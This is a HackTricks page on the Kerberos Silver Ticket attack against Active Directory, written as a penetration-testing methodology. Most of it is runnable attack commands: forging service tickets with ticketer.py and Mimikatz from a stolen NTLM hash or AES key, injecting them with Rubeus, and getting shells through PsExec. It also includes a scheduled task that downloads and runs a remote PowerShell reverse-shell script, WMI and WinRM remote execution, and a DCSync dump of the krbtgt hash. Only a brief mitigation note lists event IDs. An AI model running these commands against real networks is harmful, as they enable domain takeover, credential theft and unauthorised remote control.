hacktricks/windows-hardening/active-directory-methodology/silver-ticket.md

# Silver Ticket

<details>

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If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).

{% embed url="https://www.stmcyber.com/careers" %}

## Silver ticket

The Silver ticket attack is based on **crafting a valid TGS for a service once the NTLM hash of service is owned** (like the **PC account hash**). Thus, it is possible to **gain access to that service** by forging a custom TGS **as any user**.

In this case, the NTLM **hash of a computer account** (which is kind of a user account in AD) is **owned**. Hence, it is possible to **craft** a **ticket** in order to **get into that machine** with **administrator** privileges through the SMB service. The computer accounts reset their passwords every 30 days by default.

It also must be taken into account that it is possible AND **PREFERABLE** (opsec) to **forge tickets using the AES Kerberos keys (AES128 and AES256)**. To know how to generate an AES key read: [section 4.4 of MS-KILE](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625) or the [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372).

{% code title="Linux" %}
```bash
python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache 
python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass
```
{% endcode %}

In Windows, **Mimikatz** can be used to **craft** the **ticket**. Next, the ticket is **injected** with **Rubeus**, and finally a remote shell can be obtained thanks to **PsExec**.

{% code title="Windows" %}
```bash
#Create the ticket
mimikatz.exe "kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park"
#Inject in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt ticket.kirbi"
.\Rubeus.exe ptt /ticket:ticket.kirbi
#Obtain a shell
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd

#Example using aes key
kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /target:labwws02.jurassic.park /service:cifs /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /ticket:srv2-cifs.kirbi
```
{% endcode %}

The **CIFS** service is the one that allows you to **access the file system of the victim**. You can find other services here: [**https://adsecurity.org/?page\_id=183**](https://adsecurity.org/?page\_id=183)**.** For example, you can use the **HOST service** to create a _**schtask**_ in a computer. Then you can check if this has worked trying to list the tasks of the victim: `schtasks /S <hostname>` or you can use the **HOST and** **RPCSS service** to execute **WMI** queries in a computer, test it doing: `Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>`

### Mitigation

Silver ticket events ID (more stealth than golden ticket):

* 4624: Account Logon
* 4634: Account Logoff
* 4672: Admin Logon

[**More information about Silver Tickets in ired.team**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)

## Available Services

| Service Type                               | Service Silver Tickets                                                     |
| ------------------------------------------ | -------------------------------------------------------------------------- |
| WMI                                        | <p>HOST</p><p>RPCSS</p>                                                    |
| PowerShell Remoting                        | <p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM                                      | <p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p> |
| Scheduled Tasks                            | HOST                                                                       |
| Windows File Share, also psexec            | CIFS                                                                       |
| LDAP operations, included DCSync           | LDAP                                                                       |
| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p>                                         |
| Golden Tickets                             | krbtgt                                                                     |

Using **Rubeus** you may **ask for all** these tickets using the parameter:

* `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`

## Abusing Service tickets

In the following examples lets imagine that the ticket is retrieved impersonating the administrator account.

### CIFS

With this ticket you will be able to access the `C$` and `ADMIN$` folder via **SMB** (if they are exposed) and copy files to a part of the remote filesystem just doing something like:

```bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
```

You will also be able to obtain a shell inside the host or execute arbitrary commands using **psexec**:

{% content-ref url="../ntlm/psexec-and-winexec.md" %}
[psexec-and-winexec.md](../ntlm/psexec-and-winexec.md)
{% endcontent-ref %}

### HOST

With this permission you can generate scheduled tasks in remote computers and execute arbitrary commands:

```bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
```

### HOST + RPCSS

With these tickets you can **execute WMI in the victim system**:

```bash
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list
```

Find **more information about wmiexec** in the following page:

{% content-ref url="../ntlm/wmicexec.md" %}
[wmicexec.md](../ntlm/wmicexec.md)
{% endcontent-ref %}

### HOST + WSMAN (WINRM)

With winrm access over a computer you can **access it** and even get a PowerShell:

```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```

Check the following page to learn **more ways to connect with a remote host using winrm**:

{% content-ref url="../ntlm/winrm.md" %}
[winrm.md](../ntlm/winrm.md)
{% endcontent-ref %}

{% hint style="warning" %}
Note that **winrm must be active and listening** on the remote computer to access it.
{% endhint %}

### LDAP

With this privilege you can dump the DC database using **DCSync**:

```
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
```

**Learn more about DCSync** in the following page:

{% content-ref url="dcsync.md" %}
[dcsync.md](dcsync.md)
{% endcontent-ref %}

<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">

If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).

{% embed url="https://www.stmcyber.com/careers" %}

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>